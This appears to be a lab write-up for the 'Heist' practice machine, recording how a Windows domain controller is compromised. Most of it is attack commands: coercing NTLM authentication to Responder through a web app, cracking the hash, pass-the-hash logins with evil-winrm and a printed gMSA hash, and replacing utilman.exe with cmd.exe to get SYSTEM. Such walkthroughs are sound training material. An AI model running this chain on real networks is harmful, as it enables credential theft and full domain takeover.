๐Heist
The initial foothold was capturing NTLM credentials with the responder.
nmap 192.168.235.172

rustscan --addresses 192.168.235.165 --ulimit 5000 -- -A -sC -Pn -sV -T 1500
enum4linux 192.168.235.172

nmap 192.168.235.165 -sVC -A -p- --min-rate 10000


Port 53/tcp: Running Simple DNS Plus.
Port 88/tcp: Microsoft Windows Kerberos for secure authentication.
Port 135/tcp: Microsoft Windows RPC service.
Ports 139/tcp and 445/tcp: Microsoft Windows NetBIOS and possibly Microsoft Directory Services.
Ports 389/tcp, 3268/tcp: Microsoft Windows Active Directory LDAP services.
Port 464/tcp: Potentially for kpasswd5, related to Kerberos.
Port 593/tcp: Microsoft Windows RPC over HTTP.
Port 636/tcp: Likely secured LDAP service (wrapped by TCP).
Port 3269/tcp: Similar to 636/tcp, secured LDAP service (wrapped).
Port 3389/tcp: Microsoft Terminal Services (RDP), with detailed SSL certificate information and RDP NTLM info, indicating the target is a Windows system, specifically โDC01โ in the โHEISTโ domain.
Port 8080/tcp: Running Werkzeug HTTP server version 2.0.1 with Python 3.9.0. It hosts a web application titled โSuper Secure Web Browserโ.
Added a record for heist.offsec and dc01.heist.offsec to /etc/hosts file
Try port 8080

Then turning on python http.server on port 80 I visited the url on search url bar and the Directory structure got listed and I also got msg of visit in my http.server terminal.

Now If I turn on responder on my vpn tun0 and try to visit my ip using that. Letโs see what we get.we can try using ntlm_theft - https://github.com/Greenwolf/ntlm_theft
responder -wv -I tun0

I got NTLM hash of some user named enox.

I saved the hash to hash.txt and tried with john to crack.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
evil-winrm -i 192.168.235.165 -u enox -p california
Using this credential. I got access using evil-winrm

Now if I search for txt files I found 2 files.

net users

whoami /priv

bloodhound-python -d heist.offsec -u enox -p california -v --zip -dc heist.offsec -c all -ns 192.168.235.165 - it WAS NOT WORKING
bloodhound-python -d heist.offsec -u enox -p california -v --zip -dc DC01.heist.offsec -c all -ns 192.168.120.165







crackmapexec smb 192.168.226.165

crackmapexec winrm dc01

will continue with evilwinrm


git clone https://github.com/itm4n/PrivescCheck

upload the file
upload PrivescCheck.ps1
PS C:\Users\enox\Documents> . .\PrivescCheck.ps1;Invoke-PrivescCheck -Extended

Privilege Escalation
Option 1:
Download the GMSAPasswordReader.exe to local kali machine and upload to heist machine
Download the file to kali linux machine

Upload to Heist Machine

.\GMSAPasswordReader.exe --accountname svc_apache

Weโve obtained the NTLM hash (rc4_hmac) of svc_apache$

try login using evilwinrm and when we try using new Hmac Hash its working
This is the shortest path to domain admin from the owned. We can get there, and luckily SVC_APACHE$ can use PS remote to access the computer. Letโs use Evil-WinRM with it.
rc4_hmac : CAC8E7C043BE5FA304438E362909B953
evil-winrm -i 192.168.167.165 -u svc_apache$ -H CAC8E7C043BE5FA304438E362909B953

let us try to use our tools directory
evil-winrm -i 192.168.167.165 -u svc_apache$ -H CAC8E7C043BE5FA304438E362909B953 -s /root/machines/OSCPTools/Toolies/
will try to view the directory

Now that we have svc_apache$, will see what privileges it possesses and what actions it can perform.

Itโs been suggested that we could attempt DCSync to escalate privileges to the domain admin level. However, since weโre not the Administrator, we wonโt be able to execute it successfully. We wonโt have the privilege to use Mimikatz.
Getting Root

This is a new information from. It turns out SeRestorePrivilege is also considered dangerous.

Now move to system32 to run the system commands
Evil-WinRM PS C:\Users\svc_apache$\Documents> cd c:\windows\system32
Evil-WinRM PS C:\windows\system32> mv utilman.exe utilman.old
Evil-WinRM PS C:\windows\system32> mv cmd.exe utilman.exe

For step 5, we need to โLock the console and press Win+Uโ.
rdesktop 192.168.167.165


Now I pressed win+u key and the cmd prompt appeared


I found I have cmd now as NT Authority\System
rom Administratorโs Desktop I found proof flag.

Last updated
Was this helpful?